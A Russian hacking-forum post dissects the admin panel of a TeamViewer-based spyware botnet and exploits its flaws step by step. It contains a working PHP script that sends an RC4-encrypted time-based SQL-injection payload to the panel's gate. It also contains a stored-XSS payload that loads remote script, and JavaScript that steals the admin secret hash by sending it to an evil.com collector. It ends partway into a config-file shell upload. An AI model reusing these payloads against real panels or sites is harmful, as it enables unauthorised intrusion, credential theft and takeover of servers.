Уважаемые пользователи форума, убедительно просим вас переходить в телеграмм продавца, исключительно по предоставленной ссылке. Проверяйте продавца, отправив сообщение на электронную почту, чтобы убедиться в том, что вы общаетесь действительно с ним.

Spyadmin — хорошо пиши код, но не сейчас [2016]

Тема в разделе "Хакинг. Программирование", создана пользователем TEXHO, 18 янв 2018.

  1. TEXHO

    TEXHO Member

    Сообщения:
    141
    Симпатии:
    0
    [​IMG]

    На днях, мой одноклассник коллега скинул мне граммульку панельку очередной шпионской сборки, сделанной на основе TeamViewer. Авторы сего кибероружия уже давно в блеках (spyadmin aka vzlomov, не сочтите за рекламу), поэтому мы можем спокойно изучить кодес на предмет разного рода интересностей.

    Как говорится, приступим.

    Структура такая:

    [​IMG]

    По файлам вкратце:
    • config.php - подключение к бд, настройки логина/пароля.
    • getinfo.php - гейт для ботов.
    • index.php - основной код панели.
    • install.php - редактирование настроек
    • lang.php - языки.
    • setcmd.php - отправка команд ботам.

    В папках ничего особенного - стили, js, картинки.

    И SQL-инъекции даже мало...

    Для начала, было решено просмотреть код гейта. Как назло, практически все параметры фильтровались. Разработчик совершил только две ошибки:

    Code:
    $bot_uniq = $GET["uniq"]; // TV UNIQ
    $bot_id = $GET["id"]; // TV ID

    //Ошибка №1. Условие могло бы быть и чуть построже.
    if(!isset($bot_id) || strlen($bot_id)<9) exit;

    //И чуть ниже
    if(!isset($bot_uniq))
    {
    $bot_uniq = $bot_id;
    //Ошибка №2. Отсутствует фильтрация переменной $bot_uniq
    $update_result = mysql_query(UPDATE `.$cfg_tbl_name.` SET bot_uniq = ".$bot_uniq. WHERE bot_id = ".mysql_real_escape_string($bot_id).");
    }​

    Но и этих двух ошибок хватило нам с лихвой. Выполнение SQL-инъекции немного затруднял тот факт, что все данные идущие в гейт должны были быть зашифрованы с помощью RC4.

    В итоге я набросал небольшой скрипт для работы с SQL-инъекцией:

    Code:
    <?php
    function rc4($key, $str){
    $s = array();
    for ($i = 0; $i < 256; $i++) {
    $s[$i] = $i;
    }
    $j = 0;
    for ($i = 0; $i < 256; $i++) {
    $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
    $x = $s[$i];
    $s[$i] = $s[$j];
    $s[$j] = $x;
    }
    $i = 0;
    $j = 0;
    $res = ;
    for ($y = 0; $y < strlen($str); $y++) {
    $i = ($i + 1) % 256;
    $j = ($j + $s[$i]) % 256;
    $x = $s[$i];
    $s[$i] = $s[$j];
    $s[$j] = $x;
    $res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
    }
    return $res;
    }

    $spyadmin_domain="example.com";
    $spyadmin_gate="http://".$spyadmin_domain."/getinfo.php";

    //UPDATE `bot` SET bot_uniq = ".%inject_here%. WHERE bot_id = ".mysql_real_escape_string($bot_id)."
    $sqlinject = "" WHERE bot_id=-1 or SLEEP(10) #";

    $request = "id=".$sqlinject."
    uname=123";
    $data = strtr(base64_encode(rc4($spyadmin_domain, $request)), +/=, -_,);

    $postdata = http_build_query(array(r => $data,));

    $opts = array(http =>
    array(
    method => POST,
    header => Content-type: application/x-www-form-urlencoded,
    content => $postdata
    )
    );
    $context = stream_context_create($opts);
    $result = file_get_contents($spyadmin_gate, false, $context);

    echo "
    [ Done! ]
    ";
    echo $result;​

    В принципе, можно было бы дописать код для раскрутки time based скули, поиграть в угадайку пару часов и получить в итоге все Bot ID (больше ничего ценного в базе нет). Пароль по умолчанию, для всех ботов одинаковый - угоняй, веселись, мародерствуй.

    У нас уже была возможность менять записи с помощью UPDATE, а данные из базы выводились в панели и мы плавно переходим к...

    XSS. Активная XSS.

    Почти как и в случае с SQLi, в панели (index.php) практически все переменные фильтровались. Исключение составляли лишь $bot_comment, $bot_username, $bot_compname (почему - непонятно). Немного меняем код в прошлом скрипте (чтобы вывести document.cookie):

    Code:
    $sqlinject = "" , bot_comment=<script src="http://pastebin.com/raw/DMRtwJYq"></script> LIMIT 1 #";​

    Запускаем скрипт, заходим в админку:

    [​IMG]

    Великолепно. По идее, остается только отправить куки на свой сниффер...
    Но не тут то было:

    Code:
    $chk_cook = $_COOKIE["t_login"];
    if($chk_cook!=md5($cfg_secret_hash.$_SERVER[REMOTE_ADDR]."tvrloginsalt"))
    {
    // Please login...
    }​

    Есть привязка к IP, а значит, просто воровать куки смысла нет. Необходимо получить значение переменной $cfg_secret_hash. Для этого мы обратимся с помощью ajax запроса к скрипту install.php, из которого и выдернем значение нужной нам переменной.

    Берем такой вот кодес:

    Code:
    var xhttp;
    if (window.XMLHttpRequest) {
    xhttp = new XMLHttpRequest();
    } else {
    // code for IE6, IE5
    xhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    var stringer = document.createElement(div);

    xhttp.open("GET", "install.php", false);
    xhttp.send();
    var s = xhttp.responseText;
    var res = s.match(/name="hashadm" class="txt" value="(.*?)"/);

    // Для теста
    //alert(res[1]);

    // Чтобы украсть
    new Image().src = http://evil.com/steal.php?hash=+res[1]);

    Пихаем все это на pastebin, и скармливаем с помощью SQLi админке.

    Как только администратор ботнета зайдет в панель, нам придет секретный хеш. И теперь у нас есть все, чтобы зайти в админку - генерируем хеш, подставляем его в куку to_login и спокойненько заходим.

    Шелл, который я залил

    Теперь, когда мы знаем, как попасть в админку, посмотрим что внутри. И начнем (да и закончим на нем) с файла install.php. Код там просто потрясающий:

    Code:
    $locationdb = $_POST["locationdb"];
    $logindb = $_POST["logindb"];
    $passdb = $_POST["passdb"];
    $namedb = $_POST["namedb"];
    $nametbldb = $_POST["nametbldb"];
    $loginadm = $_POST["loginadm"];
    $passadm = $_POST["passadm"];
    $hashadm = $_POST["hashadm"];
    $mytimezone = $_POST["timezone"];

    // ... немного кода...

    $file = config.php;
    unlink($_SERVER[DOCUMENT_ROOT]./config.php);
    $writecfg = "<?php
    ";
    $writecfg .= " $cfg_admin_login = ".$loginadm."; // admin panel login
    ";
    $writecfg .= " $cfg_admin_passwd = ".$passadm."; // admin panel password
    ";
    $writecfg .= " $cfg_secret_hash = ".$hashadm."; // admin panel secret hash
    ";
    $writecfg .= "
    ";
    $writecfg .= " $cfg_localhost = ".$locationdb."; // MySQL location
    ";
    $writecfg .= " $cfg_username = ".$logindb."; // MySQL login
    ";
    $writecfg .= " $cfg_passwd = ".$passdb."; // MySQL password
    ";
    $writecfg .= " $cfg_bd_name = ".$namedb."; // MySQL BD name
    ";
    $w​

Поделиться этой страницей